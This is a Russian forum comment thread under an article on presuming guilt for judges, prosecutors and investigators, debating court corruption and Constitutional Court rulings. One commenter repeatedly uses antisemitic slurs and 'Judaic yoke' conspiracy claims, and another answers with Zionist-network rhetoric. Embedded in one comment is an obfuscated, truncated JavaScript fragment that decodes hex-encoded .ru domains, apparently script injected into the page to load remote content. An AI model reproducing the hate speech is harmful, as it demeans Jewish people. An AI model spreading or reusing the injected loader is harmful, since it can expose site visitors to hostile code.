ПРЕЗУМПЦИЯ ВИНОВНОСТИ СУДЕЙ, ПРОКУРОРОВ, СЛЕДОВАТЕЛЕЙ

Опубликовано:
Источник: оригинал
Комментариев: 140
5
Средняя: 5 (голоса)

Настройки просмотра комментариев

Выберите нужный метод показа комментариев и нажмите "Сохранить установки".
Руденко Виталий
Аватар пользователя Руденко Виталий

Презумпция виновности

 Со слов моего деда в 30-ые годы презумпция виновности применялась в ВКП(б) во время чисток. Чистка, по крайней мере, он описал её так проводилась следующим образом. Комиссией по чистке партии собирала жителей улицы, где жили коммунисты, и спрашивали жителей, достоин ли коммунист своего звания. И вот было так, что кто-то говрил, что этот коммунист не достоин называться коммунистом, потому что его жена торгует на базаре яйцами. И, тут же вопрос, а чем он кур кормит? Не могут супруги объяснить, откуда корм берется, то чистку не прошел. Партбилет на стол, и пинок под зад с начальственной должности.

 

 

коммунист СССР
(не проверено)
Аватар пользователя коммунист СССР

Руденко

 Да уж....  А тут страну разграбили, сказочно обогатились  и все  воры стали обличителями коммунизма и ничего,  народ учат дерьмократию уважать. Мол лучше её никто ничего не придумал,  а тут откуда зерно, чтоб курку прокормить, вот людоед Сталин!  

 
Indricke
Аватар пользователя Indricke

"Да, разумеется, депутатов

"Да, разумеется, депутатов народа в Думе Рашки нет, а с кнопкодавами такие вопросы обсуждать не приходится."

Демократия однако. Ведь выбираем неизвестных, безответственных личностей, при всеобщем падении нравов. Даже северо-американскую избирательную систему выборщиков испохабили. Избирать можно только того, кого знаешь, кому доверяешь, а всё остальное - "цирк" и профанация.

"Тем не менее, утверждать, что судьи, прокуроры и следователи не имеют права на презумпцию невиновности в делах о преступлении против правосудия - правильно и ПОЛЕЗНО уже сейчас."

Так нечто подобное заложено и в нынешнем законодательстве, и в предыдущем. Да вот только судебные и прочие структуры "имеют право" (негласно, но в законодательстве подразумевается) не знать законов и не следовать им. Как Вам следующий "опус" из Прокуратуры, ещё при старом законодательстве 90-х годов: " ваши права не нарушены, так как когда требовалось вам предоставлялся адвокат". И что на это можно сказать, если прокурорский работник письменно заявляет, что все права подследственного, подсудимого, заключаются в предоставлении адвоката по-потребности? Да на основании такого вот ответа, этого, с позволения сказать, "работника" надо "гнать метлой" без права занимать государственную должность. А сколько таких вот отписок-фактов о противоправных действиях госслужащих Вы сами можете предъявить? Дело за малым.

 

"Только это я нашёл, что Бог сотворил человека правым, а люди пустились во многие помыслы".(Екклезиаст, гл.7, сура 29)

ниф нафоф
(не проверено)
Аватар пользователя ниф нафоф

Уважаемый Идриске!

 Вас скорее выгонят в шею... Да так что Вы не захотите больше вспоминать об этом никогда и зарыть свою головушку как страус в песок навсегда... Вы очень самонадеяны и неверно реагируете на эту жидоолигархическую властную болтовню... Вам примеры привести - Илюхин,Квачков,Удальцов,Навальный,Петров и многая лета... Попробовал замечательный адвокат И.Трунов побороться с этой мразью...www.trunov.com/press-centr/news/474 И вот уже он никто...пока... www.vedomosti.ru/politics/articles/2016/10/12/660717-zapret А Европа очень далеко. Ничего не изменилось! Ни перевоплощение "народных" судей в слуг капитала, ни смерть " справедливых "30 летней давности прокуроров и приход им на смену мухинских Крамаренок и Бычковых, ни "юридическая грамотность" овцемасс из "народа"... Говорил я Паукову и повторяю для Вас - с уголовниками ( а это сегодня огромное большинство и судей и прокукоров и сотрудников так называемых " органов ") надо играть только по их правилам, т.е. лучше не играть совсем... Вы думаете они Закон защищают? Нет тысячу раз. Только капитал и себя, возможно даже капитал дороже их самих. Господь между нами!

 
Indricke
Аватар пользователя Indricke

"В чём вина на мне,

"В чём вина на мне, боярин?"

Из судорожно набранных Вами словесов я смог разобрать только следующее:

"Вам примеры привести - Илюхин,Квачков,Удальцов,Навальный,Петров и многая лета..."

Вы в одну "кучу" поместили людей разных взглядов. Неплохо бы для начала с их взглядами, убеждениями разобраться.

"А Европа очень далеко."

А Вы на Европу надеетесь? А для меня "Европа - жопа". Вы хоть чужие взгяды уважайте, а не навязывайте свои.

"Ничего не изменилось! Ни перевоплощение "народных" судей в слуг капитала,..."

А я-то по наивности думал, что народные судьи должны служить народу, а не некоему капиталу, к тому же наворованному. А далее "Вы думаете они Закон защищают?... Только капитал и себя, возможно даже капитал дороже их самих." Что-то я Вас не понял. Пояснее выражаться можно?

Вы бы лучше потрудились вместо многоточий обосновать свою точку зрения, а то ведь получается "догадайся мол сама".

 

 

"Только это я нашёл, что Бог сотворил человека правым, а люди пустились во многие помыслы".(Екклезиаст, гл.7, сура 29)

Здравосмысл Наумыч Разумеев
Аватар пользователя Здравосмысл Наумыч Разумеев

Индрику

 И впрямь Ниф Нафыч наплел с три короба, невесть чего. Он наверное из пятой колоны будет и бунт учинять собирается, а только не выйдет у него ничего.

 
ниф нафоф
(не проверено)
Аватар пользователя ниф нафоф

Уважаемый как Вас называют форумчане " Отупеев "!

 Господь Исус Христос говорил ученикам : " 10:28. И не бойтесь убивающих телодуши же не

могущих убить; а бойтесь более того, кто может и
душу и тело погубить в геенне." (От Матфея). Как точно подходят к Вам эти слова... Вы глупеете и извините тупеете. Илюхин затевал бунт? Или Петров? Или Квачков? Или, страшно сказать Ю.И? Или РФ не подписывала и не ратифицировала вот это уважаемый Здравомысл?  Статья 9

Свобода мысли, совести и религии

1. Каждый имеет право на свободу мысли, совести и религии; это право включает свободу менять свою религию или убеждения и свободу исповедовать свою религию или убеждения как индивидуально, так и сообща с другими, публичным или частным порядком, в богослужении, обучении, отправлении религиозных и культовых обрядов.

2. Свобода исповедовать свою религию или убеждения подлежит лишь ограничениям, которые предусмотрены законом и необходимы в демократическом обществе в интересах общественной безопасности, для охраны общественного порядка, здоровья или нравственности или для защиты прав и свобод других лиц.

Статья 10

Свобода выражения мнения

1. Каждый имеет право свободно выражать свое мнение. Это право включает свободу придерживаться своего мнения и свободу получать и распространять информацию и идеи без какого-либо вмешательства со стороны публичных властей и независимо от государственных границ. Настоящая статья не препятствует государствам осуществлять лицензирование радиовещательных, телевизионных или кинематографических предприятий.

2. Осуществление этих свобод, налагающее обязанности и ответственность, может быть сопряжено с определенными формальностями, условиями, ограничениями или санкциями, которые предусмотрены законом и необходимы в демократическом обществе в интересах национальной безопасности, территориальной целостности или общественного порядка, в целях предотвращения беспорядков и преступлений, для охраны здоровья и нравственности, защиты репутации или прав других лиц, предотвращения разглашения информации, полученной конфиденциально, или обеспечения авторитета и беспристрастности правосудия.

Статья 11

Свобода собраний и объединений

1. Каждый имеет право на свободу мирных собраний и на свободу объединения с другими, включая право создавать профессиональные союзы и вступать в таковые для защиты своих интересов.

2. Осуществление этих прав не подлежит никаким ограничениям, кроме тех, которые предусмотрены законом и необходимы в демократическом обществе в интересах национальной безопасности и общественного порядка, в целях предотвращения беспорядков и преступлений, для охраны здоровья и нравственности или защиты прав и свобод других лиц. Настоящая статья не препятствует введению законных ограничений на осуществление этих прав лицами, входящими в состав вооруженных сил, полиции или административных органов государства.                                                                                                                                            Так ознакомьтесь когда... уже почитай 18 лет назад все утвердили... www.echr.ru/documents/doc/12011157/12011157.htm А Вы все колонны считаете... Господь между нами!

 
Здравосмысл Наумыч Разумеев
Аватар пользователя Здравосмысл Наумыч Разумеев

Ниф Нафычу

 Ну и что? Я согласен с приведеннымии вами правилами!!! Только что же вы конкретно хотите сказать???

 
ниф нафоф
(не проверено)
Аватар пользователя ниф нафоф

Уважаемый Идриске!

 Вы говорите что таких " прокуроров " надо гнать в шею за то, что они так отвечают обвиняемым и подследственным. И это конечно правильно, только Вы лично и даже тысячи таких как Вы ничего не добьются требуя отставки или сложения полномочий таких защитников закона ( не важно следователей, прокуроров или судей ). Те кто служит сегодняшней власти за ее жирную подачку - это те же уголовники и преступники и единственный выход - ждать когда их " уйдут ". И это случится несомненно. Поэтому думайте о своей жизни и семье и не сталкивайтесь с ними ВООБЩЕ. Мнгновенно Вы станете их целью и они Вас выгонят отовсюду, лишат всего, оклеветают и могут просто бросить за решетку. Вот о чем я. Силовая солидарность защитников закона будет несоизмеримо выше, чем Ваша. И тонкий писк Вашего голоса как писал Маяковский " кто его услышит, разве жена...и то, если не на базаре,  а близко ". Вы просто отстали лет на 30, когда можно было в парткоме стучать кулаком секретарям административных органов и требовать чьего-то снятия или отставки. Вам мои примеры могут говорить лишь об одном - в государстве, где Истина и Правда Божия и людская не находит отклика у власть придержащих потому что платят им жидоолигархи за свое спокойное настоящее и будующее в " отставку " отправят именно Вас. И все законные методы борьбы с этим иудейским игом отрезаны! А раз они отрезаны само государство преступно и незаконно и движется к краху. Уже с 1993 года когда Элькин расстрелял последних якобы "народных" представителей. И с тех пор все " жалобы " бесполезны год от года. А все эти люди которых я назвал были обьеденены одним качеством - мужеством выступить против жидоолигархата и силовых ведомств. Их судьба незавидна но это люди которых многое обьединяло - они решили что так как живет сегодняшняя Россия - это просто возмутительно и сегодняшние власти предают всех ежеминутно и ежечасно. Народные судьи должны служить не народу а закону, причем до запятой. Если народные судьи будут служить народу - то им придется просто прислуживать. Ведь народ он очень и очень разный, и Путлер - это народ и Захарченко с 8 млрд. народ и простые труженники и бабы в мантиях это народ и даже Новодворская с Боровым и Горбачевым - тот же народ. Ничего Вы не добьетесь законными методами а раз так - то просто молитесь об освождении нашей многострадальной Родины от ига иудейского! Да услышит Вас Господь наш Исус Христос,между нами Он!

 
ниф нафоф
(не проверено)
Аватар пользователя ниф нафоф

И вот послушайте, чье у меня мнение, уважаемый Идриске!

 Насчет закона и капитала... я думаю, яснее некуда youtu.be/QWW6a0E_4Xg Господь между нами!

 
ниф нафоф
(не проверено)
Аватар пользователя ниф нафоф

Вот Вам уважаемый Идриске и примеры...

 Полного хаоса и следственного и судебного произвола с подачи Путлера и Дурдумы  "Введение  уголовной  ответственности  за   малозначительные  деяния,  ужесточение  санкций   до  предела,  космические  сроки наказания  -  не привели  к  улучшению  криминогенной  обстановки.  Ситуация  стала  еще хуже,  количество преступлений не  уменьшилось,   их  жестокость лишь усилилась.  И  это  только  ягодки.  Не  сложно  предположить,  какова возможна  обстановка,  когда  выйдут на  волю  те,  кто  необоснованно  и несправедливо  был  осужден  на  огромные  сроки.   Ведь  социальная адаптация  для  этих  людей  будет  очень  затруднительна,  унижения  в  зоне безусловно  повлияли на  психику  и   в  конфликтной  ситуации могут вызвать  самые  невероятные  последствия,  люди готовы  на  любой  рецидив и  с  легкостью  могут  взяться  за нож  либо другое  оружие.  К  сожалению, «пожинать  плоды»  такого  «правосудия»  будут  простые  граждане,  а  не те,  кто  виновен  в   создании  такой обстановки  -  судьи,  прокуроры, «законодатели». 

        Когда  наблюдаешь  за  уголовными  процессами  в судах города Москвы,  то  невольно  приходишь  к  выводу,  что  уже  не  нужны доказательства,  а  нужно  просто  указать  судье,  что  данного  лица  нужно строго осудить.  И  он начинает  изгаляться,  как  правильно изложить написанное  следователем,  чтобы  побольше  влепить  срок.  При этом никогда  не  пытаются  дать оценку  реальности,  истинности,  допустимости доказательств  и  наличие  достаточной  совокупности доказательств  для обвинения  человека  в  том  либо ином  преступлении.  В  практике  работы российских судов твердо  закрепился  антиконституционный   принцип  «Все сомнения  трактуются  НЕ  в  пользу  обвиняемого».    

        Последние  годы  Верховный  Суд  Российской  Федерации  превратно стал  использовать  свое  право,  которым  он наделен  ст.126  Конституции Российской  Федерации.  Вместо  разъяснения,  как  на  практике  необходимо применять  ту  либо иную норму  закона,  Верховный  Суд  России  стал вместо  законодательного  органа  изобретать (создавать) свои  законы... "  www.trepashkin.com/news/articles  Господь между нами!

 
Кучма Николай
Аватар пользователя Кучма Николай
ниф нафоф
(не проверено)
Аватар пользователя ниф нафоф

Уважаемый Н.Кучма!

 Спасибо прочту обязательно! И отвечу там же. Господь между нами!

 
Алекспей
(не проверено)
Аватар пользователя Алекспей

Неправосудность приговора

Неправосудность приговора может установить только вышестоящий суд.  Так что тема статьи скорее всего не для юристов, к сожалению.

 
Здравосмысл Наумыч Разумеев
Аватар пользователя Здравосмысл Наумыч Разумеев

Алекспею

 Тема намного глубже, чем юриспруденция!!! Это, брат, мухинизм - философское учение о праве, строении вселенной, экономике и мышлении. Решается вопрос о презумпции невиновности (виновности).

 
А.Сергеев.
(не проверено)
Аватар пользователя А.Сергеев.

ниф нафоф\\\\сб, 29.10.2016 -

ниф нафоф\\\\сб, 29.10.2016 - 00:36

... Те кто служит сегодняшней власти за ее жирную подачку - это те же уголовники и преступники и единственный выход - ждать когда их "уйдут". И это случится несомненно. Поэтому думайте о своей жизни и семье и не сталкивайтесь с ними ВООБЩЕ. ...тонкий писк Вашего голоса как писал Маяковский " кто его услышит, разве жена...и то, если не на базаре, а близко ". ...в государстве, где Истина и Правда Божия и людская не находит отклика у власть придержащих потому что платят им жидоолигархи за свое спокойное настоящее и будующее в " отставку " отправят именно Вас. И все законные методы борьбы с этим иудейским игом отрезаны! А раз они отрезаны само государство преступно и незаконно и движется к краху...
__________________________________________

Пилпулисты довольно нередко вплотную приближаются к сокровенному откровению (с целью захвата аудитории, надо думать): что, прежде чем что-то делать, нужно сначала заняться раскрытием их сионистской агентурной сети, - для чего необходимо внутри их агентурной сети создавать свою агентурную сеть. Но пилпулисты, конечно, опасную грань не переходят, а вместо этого дают "добрые" советы, типа:

...Ничего Вы не добьетесь законными методами а раз так - то просто молитесь об освождении нашей многострадальной Родины от ига иудейского!
__________________________________________

Еще пилпулисты выдают густо зымешанные на чепухе результаты своих философическо-аналитических раздумий, типа вот этого:

 

Народные судьи должны служить не народу а закону, причем до запятой. Если народные судьи будут служить народу - то им придется просто прислуживать. Ведь народ он очень и очень разный, и Путлер - это народ и Захарченко с 8 млрд. народ и простые труженники и бабы в мантиях это народ и даже Новодворская с Боровым и Горбачевым - тот же народ.
__________________________________________

А закон - это бумажка. Прислуживать бумажке? - шутить изволите? Может быть, все же, служить народу, - но при этом ни на йоту не отступая от норм и положений закона. Закона разумного, честного, проверенного лучшими специалистами, пользующимися доверием народа - и, в заключение, одобренного народом.

 

...Да услышит Вас Господь наш Исус Христос,между нами Он!
__________________________________________

У ниф нафофа без изменений - все так же вместо чертиков "Господь наш Исус Христос" маячит перед глазами.

 
ниф нафоф
(не проверено)
Аватар пользователя ниф нафоф

Уважаемый А.Сергеев!

 А вы сами поразмыслите на досуге перешли ли те, кого я назвал ( люди с большой буквы и большого мужества ) вашу так называемую "грань"? И почему все они или погибли или лишены свободы? А Вы все пилпул ищете и колонны считаете вместе с " Отупеевым " ... Господь между нами!

 
Витторио
(не проверено)
Аватар пользователя Витторио

    Предложение более

    Предложение более развернутое

Очень полезное обсуждение. Предлагаемая его участниками выборность судей,  как средство повысить их ответственность за качество принимаемых актов, полагаю, при всей неопределенности выбора («кот в мешке») мало что даст, поскольку трудно предположить возможность выборности судей апелляционных и кассационных инстанций. а именно они «покрывают» судей первой инстанции.

А побудил их «покрывать» - Конституционный Суд, который саму возможность возбуждения против судьи уголовного дела  по статье 305 УК РФ «Вынесение заведомо неправосудного (решения)» обусловил  исключительно фактом отмены вышестоящим судом судебного акта этого судьи в качестве неправосудного.

Разумеется, корпоративность судей (своих не сдаем!) была и «до того», но возросла неимоверно при получении указующего сигнала свыше  «Вы на правильном пути...» (это как в песне).

Предлагаемая презумпция виновности судей, прокуроров. следователей. и уж тем более – в уголовном производстве (а именно о нем подразумевается в статье Ю. И) - противоречит Конституции, где принцип презумпции невиновности – основополагающий для всех. Да и какой смысл вообще говорить о презумпции виновности, когда сама возможность возбуждения уголовного дела против судьи проблематична?! Вот о возможности возбуждения  здесь и поговорим.

Уже говорилось выше: дезавуируя статью 305 УК РФ, Конституционный суд  указал на «возможность... проверки сообщения о преступлении и возбуждении по результатам этой проверки уголовного дела по признакам других, как правило, сопутствующих преступлению, предусмотренному статьей 305 УК Российской Федерации, составов преступлений, таких как "Мошенничество" (статья 159), "Злоупотребление должностными полномочиями" (статья 285), "Превышение должностных полномочий" (статья 286), "Получение взятки" (статья 290)» - Постановление  Конституционного Суда от 18 октября 2011 года N 23-П.

Выше указывалось также, что пункте 4 мотивировочной части Постановления КС РФ от 25 января 2001 г. N 1-П (http://docs.cntd.ru/document/901780186) говорится о возможности привлечь судью к уголовной ответственности по статье 293 УК РФ "Халатность" за неисполнение или ненадлежащее исполнение судьей как должностным лицом суда своих обязанностей вследствие недобросовестного или небрежного отношения к службе, если оно повлекло существенное нарушение прав и законных интересов граждан.

При таком-то обилии возможно инкриминируемых судье статей УК (аж целых пять!),  казалось бы – вперед, писать сообщение о преступлении? Но нет, торопиться не стоит, ибо, когда «дойдет до жареного» (вспомним опыт обращений), Конституционный Суд опять будет говорить про баланс интересов (в этом балансе правосудность судебных актов, как обычно, – на последнем месте) и уж непременно укажет, что особый статус судей прописан в Федеральном конституционном законе, а полномочия какой-то там Прокуратуры прописаны рангом пожиже – всего лишь в федеральном законе, где, к тому же. возможность надзора за судами и судьями вообще не указана!

Согласно статье 1 закона «О Прокуратуре Российской Федерации, «Прокуратура Российской Федерации - единая федеральная централизованная система органов, осуществляющих от имени Российской Федерации надзор за соблюдением Конституции Российской Федерации и исполнением законов, действующих на территории Российской Федерации». Риторический вопрос - уж коли она такая федеральная,  единая и централизованная и для всей территории РФ, то почему об этом не сказано в Конституции, и почему полномочия Прокуратуры РФ определены столь низко, не хотя бы федеральным Конституционным законом?!

Вот почему выше предложено поставить судей под внешний контроль, хотя бы в части соблюдения ими норм УК РФ при судопроизводстве, а   определить основные полномочия Прокуратуры в Конституции РФ.

Вот предлагаемая примерная редакция полномочия Прокуратуры: выборочный контроль судебных актов и проверка сообщений о преступлениях на предмет выявления нарушений самими судьями всех инстанций норм уголовного законодательства при судопроизводстве.

Заметьте: о проверке правосудности принятого судьей акта  речи нет.   

 window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="26363",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e

 
Антон
(не проверено)
Аватар пользователя Антон

Про возможность привлечь

Про возможность привлечь судью к уголовной ответственности по статье 293 УК РФ "Халатность" - следователи 5 лет не регистрируют сообщения о всех должностных преступлениях, поэтому не проверяют их в порядке ст.144,145 УПК.
Вы думали КС разрешил совершать должностные преступления? Нет, СК РФ всем чиновникам разрешил совершать должностные преступления. И судьям в том числе.

 
Krapivin
(не проверено)
Аватар пользователя Krapivin

А чего девка на рисунке на

А чего девка на рисунке на лётчицу Савченко похожа?

 

Отправить комментарий

Содержание этого поля является приватным и не предназначено к показу.
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Разрешённые HTML-теги: <img> <a> <em> <i> <strong> <b> <u> <strike> <p> <br> <ul> <ol> <li> <div> <blockquote>
  • Строки и параграфы переносятся автоматически.

Подробнее о форматировании текста

CAPTCHA
Проверка, что Вы не робот
CAPTCHA на основе изображений
Введите символы, которые показаны на картинке.